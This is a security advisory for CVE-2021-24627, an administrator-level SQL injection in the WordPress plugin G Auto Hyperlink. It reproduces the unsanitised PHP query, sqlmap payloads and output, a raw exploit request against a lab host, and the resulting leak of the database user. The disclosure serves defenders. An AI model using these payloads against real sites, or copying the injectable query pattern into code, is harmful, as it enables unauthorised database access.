

[Wp Plugin G Auto Hyperlink](#)

Plugin Details

Plugin Name: [wp-plugin-g-auto-hyperlink](#)

Effectuated Version : 1.0.1 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24627

Identified by : [Shreya Pohekar](#)

[WPScan Reference URL](#)

Disclosure Timeline

- June 15, 2021: Issue Identified and Disclosed to WPScan
- June 18, 2021 : Plugin Closed
- August 13, 2021 : CVE Assigned
- October 7, 2021 : Public Disclosure

Technical Details

The edit entry takes in GET parameter id that is inserted into the sql statement without proper sanitization, validation or escaping that leads to SQL Injection.

Vulnerable Code: [g-auto-hyperlink.php#L271](#)

```
270:     $id = $_GET['id'];
271:     $result = $wpdb->get_row("SELECT * FROM $table WHERE id = $id");
```

PoC Screenshot

```
[13:01:24] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[13:01:35] [INFO] GET parameter 'id' appears to be 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/N] Y
[13:01:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:01:35] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
(potential) technique found
[13:01:40] [INFO] target URL appears to be UNION injectable with 9 columns
[13:01:44] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=g-auto-hyperlink-edit&id=1 AND (SELECT 3563 FROM (SELECT(SLEEP(5))))SEJL

  Type: UNION query
  Title: Generic UNION query (NULL) - 9 columns
  Payload: page=g-auto-hyperlink-edit&id=-7144 UNION ALL SELECT NULL,NULL,CONCAT(0x716b706b71,0x467770456d7a5142584f4
a474a6f56786b65596d76505a56726f7863796f41705959547244624b77,0x7162707671),NULL,NULL,NULL,NULL,NULL,NULL -- --
---
[13:01:44] [INFO] the back-end DBMS is MySQL
[13:01:44] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL ≥ 5.0.12
banner: '8.0.25-0ubuntu0.20.04.1'
[13:01:45] [INFO] fetching current user
current user: 'bob@localhost'
[13:01:45] [INFO] fetching current database
current database: 'wp'
```

172.28.128.50/wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT

MSFU Most Visited Getting Started Kali Linux Kali Training Kali Tools Kali Docs Kali Forums Net

8 0 + New

G Auto-Hyperlink (Edit Entry)

Keyword *

URL *

Title *

Rel

Target

Appearance *

Exploit

```
GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2C
Host: 172.28.128.50
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Referer: http://172.28.128.50/wp-admin/admin.php?page=g-auto-hyperlink
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1623208844%7CamopuMuv0rp0x3j1aQP9xCWFDiRBgT6Nvnsq7Wgzvr%7C1f157524
Connection: close
```

SQLMap command

```
sqlmap -r hyperlink.req --dbms mysql --current-user --current-db -b -p id --batch --flush-session
```

Response

```
...
<input type="text" name="keyword" id="keyword" placeholder="Enter the Keyword" value="bob@localhost" /
<p class="keyword_error form_error"></p>
</td>
</tr>
<tr>
<th><label for="url">URL *</label></th>
<td>
<input type="text" name="url" id="url" value="bob@localhost" placeholder="Enter the URL" />
<p class="url_error form_error"></p>
```

